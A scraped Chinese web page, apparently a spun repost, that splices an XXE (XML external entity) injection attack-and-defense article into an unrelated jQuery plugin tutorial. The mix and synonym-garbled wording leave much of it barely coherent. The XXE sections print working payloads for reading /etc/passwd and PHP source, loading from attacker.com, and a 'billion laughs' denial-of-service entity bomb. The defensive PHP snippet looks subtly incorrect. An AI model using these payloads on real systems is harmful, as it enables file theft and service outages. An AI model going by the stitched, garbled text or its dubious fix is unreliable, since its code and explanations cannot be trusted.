www.4688.comXXE注入攻击与防御

转载自:http://www.91ri.org/9539.html

前几天周五,玩了一早上lol了,趁等饭点的时刻浅谈一下jquery插件开发,望大神指教鞭策!

0x00 前言

在软件开发过程中需要一定的设计情势来引导开发,有了形式,我们便能更好的社团大家的代码,并以前人的经验中学到更好的执行。
基于《jQuery高级编程》中的描述,jQuery插件开发形式重要有二种:

XXE Injection即XML External Entity
Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的表面实体数据进⾏行处理时引发的平安问题.
在XML1.0正式⾥里,XML文档结构⾥里定义了实体(entity)这些概念.实体可以经过预定义在文档中调用,实体的标识符可访问当地或远程内容.如若在那多少个历程中引入了”污染”源,在对XML文档处理后则可能导致音信泄露等安全问题.

  1. 通过$.extend()来扩展jQuery
  2. 透过$.fn向jQuery添加新的法门
  3. 经过$.widget()应用jQuery
    UI的预制构件工厂形式开创(这种措施暂时很少用,揣测你们也很少见吗!呵呵……)

0x01 威胁
XXE漏洞近期还未碰到广大关注,Wooyun上多少个XXE引起的平安问题:

  平日大家拔取第三种形式来开展简单的插件开发,说简单是周旋于第二种办法。第两种办法是用来支付更高级的jQuery部件的,该格局开发出来的构件带有很多jQuery内建的风味,比如插件的意况音讯自动保存,各样关于插件的办法等,都不行的周全。
而首先种模式又太简单,仅仅是在jQuery命名空间还是可以够知晓在jQuery自身添加一个静态的不二法门而已。所以大家在调用通过$.extend()添加的方法时,直接通过$符号调用$.myFunction()而不需要选中DOM元素$().myFunction()。

  • pull-in任意文件遍历/下载

方式一、$.extend()

//定义插件
    $.extend({
      goTop:function(){
        $('html,body').animate({scrollTop:0}, 500);
      }
    });
//调用
  $('.gotop').click(function(){
    $.goTop();
  });

  上边的代码中经过$.extend()方法向jQuery添加了一个goTop方法,然后通过$直接调用。到此已做到了一个粗略的jQuery插件。
  如您所见,通过此种方法来定义一些协助类的主意是相比便于的,定义两回后,可以经过jQuery在先后中其他需要的地方调用它。

 

 

方式二、$.fn

  第一各个措施,并无法使用jQuery强大的采用器,要拍卖DOM元素以及将开发的插件运用到所选的因素上,仍旧要利用第二种形式。我所看到和运用的插件大多也是透过$.fn的法子开创的,至少近日是。

  第两种格局的语法示例:

$.fn.mypluginName = function(){
  //代码内容 
}

  往$.fn下边添加一个措施,名字是大家插件的称呼,然后大家的插件代码在这个主意中举办。
  比如我们将页面中某元素背景颜色改为革命,则写成:

//定义插件
$.fn.pluginBg = function(){
        this.css('backgroundColor','red'); //在这里,this指用jQuery选中的元素,即:this = $(element),this用法再此不过多介绍
    }
//调用
$(elment).pluginBg();
  • 从开源中国的某XXE漏洞到主站shell

  传参插件

  一个有力的插件是可以让使用者随意定制的,这便要求大家在付出插件是考虑的越来越完美些,尽量提供适宜的参数。在拍卖插件参数的收纳上,平日使用jQuery的extend方法,上边也有提到过,但这是给extend方法传递单个对象的情状下,这多少个目的会统一到jQuery身上,所以我们就足以在jQuery身上调用新合并对象里带有的艺术了。当给extend方法传递两个对象时,它会将装有参数对象合并到第一个里。同时,假诺目标中留存同名的属性,合并时后边的会覆盖前边的。利用这点,我们得以在插件中定义一个封存插件参数默认值的靶子,同时将接收来的参数对象合并到默认对象上,最终就贯彻了用户指定了值得参数使用指定值,未指定参数时使用插件的默认值。  

  大家举个例子,允许用户调用插件的时候设置color,代码如下:

//定义插件
$.fn.pluginStyle = function(opt){
  var defaults = {
    'color' : 'red',
  };
  var settings = $.extend(defaults,opt);
    return this.css({
      'color': settings.color,
    })
}

//不传参调用,则color设置为默认值red                
$(elm).pluginStyle();
//传参调用,则color设置为blue
$(elm).pluginStyle({'color':'blue'});

  到此,插件可以选择和拍卖参数后,就足以编写出更灵敏的插件了。

面向对象插件

  问:

  若要编写一个扑朔迷离的插件,代码量会很大,怎样社团代码就成了一个亟待面临的题目,没有一个好的点子来公司代码,全部感到会混杂,同时也不便维护,咋办吧?

  答:

  大家将插件的装有属性包装到一个目的上,用面向对象的思想来拓展支付,那么,一切将解决!

  我们将方面的事例美化一下,代码如下:

//定义Nick对象的构造方法
  var Nick = function(ele, opt){
    this.$element = ele,
      this.defaults = {
        'color': 'red'
      },
      this.options = $.extend(this.defaults,opt);
  }
  //定义对象的方法
  Nick.prototype = {
    handsome:function(){
      return this.$element.css({
        'color': this.options.color
      });
    }
  }
  //在插件中使用对象
  $.fn.myPlugin = function(options){
    //创建实体
    var me = new Nick(this, options);
    //调用其方法
    return me.handsome();
  }

  //不传参调用,则color设置为默认值red
  $(elm).pluginStyle();
  //传参调用,则color设置为blue
  $(elm).pluginStyle({'color':'blue'});

  写到这里自己感觉已经到家了,然而在就餐完后备选宣布的时候,看了看–哎呀!好像还有提升空间吖!

  • 百度某效率XML实体注入

匿名函数的用处到了

  不仅是jQuery插件的开支,我们在写任何JS代码的时都应有专注不要污染全局命名空间,因为随着代码量的充实,如果有意无目的在于大局范围内定义一些变量的话,最终很难保障,也会和旁人写的代码发生争执。
  一个好的做法是一味使用自调用匿名函数包裹你的代码,这样就可以完全安全、放心的接纳任啥地方方,相对不会暴发争执问题。
在Javascript中不可能利用花括号方便的创造功能域,但函数却得以形成一个功用域,域内的代码是无法被外面访问的,假设我们将团结的代码放入到函数中,那么就不会传染全局命名空间,同时也不会和此外代码暴发争执。所以我们将持有代码用自调用匿名函数包裹。
  最终的将下面的插件代码用一个匿名函数包裹起来,大功告成!

  停止时,仍旧那句话–望大神指教鞭策自己!

 补充 $.extend()

  这里多谢某童鞋的提醒!说情势一还还可用于合并参数和深clone,即便措施二中用了措施一做参数合并,但一向不详细介绍,所以前些天在此间做点补充!

附补充链接:

http://www.cnblogs.com/puyongsong/p/5992362.html

  • 百度某功效XML实体注入(二)

借助XXE,攻击者可以兑现自由文件读取,DOS拒绝服务攻击以及代理扫描内网等.
对于不同XML解析器,对外表实体有不同处理规则,在PHP中默认处理的函数为:
xml_parse和simplexml_load
xml_parse的贯彻情势为expat库,默认处境不会分析外部实体,而simplexml_load默认处境下会分析外部实体,造成安全劫持.除PHP外,在Java,Python等拍卖xml的机件及函数中都也许存在此问题

0x02 语法
要写Payload,首先要对XML实体语法有早晚了然
XML中entity的概念语法为:

<!DOCTYPE filename
[
<!ENTITY entity-name "entity-content"
]>

假诺要引用一个外表资源,可以依靠各类协商 多少个例子:

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

故构造三种简单的Payload模型如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

亦可读取网站内容

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

万一带有文件失败,可能是由于读取php等公事时文件本身蕴藏的<等字符.可以运用Base64编码绕过,如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

0x03 攻击
借助XXE,有二种可用且公开的攻击模式:

拒绝服务
POC

<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>

POC中中先定义了lol实体,值为”lol”的字符串,后在底下又定义了lol2实体,lol2实体引用10个lol实体,lol3又引述了10个lol2实体的值,依此类推,到了最后在lolz元素中援引的lol9中,就会设有上亿个”lol”字符串此时分析数据时未做特别处理,即可能引致拒绝服务攻击。
其它还有一种可能引致拒绝服务的Payload,借助读取/dev/random实现.
内网信息
倚重各个协商如http,XXE可以援助扫描内网,可能可以访问到内网开放WEB服务的Server,并赢得另外音讯

www.4688.com 1

文件读取

最健康也是最实用的使用思路

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

沾满两张截图,实现文件读取的经过

www.4688.com 2www.4688.com 3

0x04 防御
1.检查所采纳的底层xml解析库,默认禁止外部实体的剖析
2.行使第三方使用代码及时提高补丁
3.还要增强对系统的监督,避免此题材被人接纳
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

<?php
libxml_disable_entity_loader(true);
?>
以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:
<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>

0x05 参考
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)
http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
http://cn2.php.net/libxml_disable_entity_loader
http://projects.webappsec.org/w/page/13247004/XML%20Injection
http://drops.wooyun.org/papers/1911

增补参考来源:http://vdisk.weibo.com/s/z1id0otCRMUJ4

 

相关文章

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*
*
Website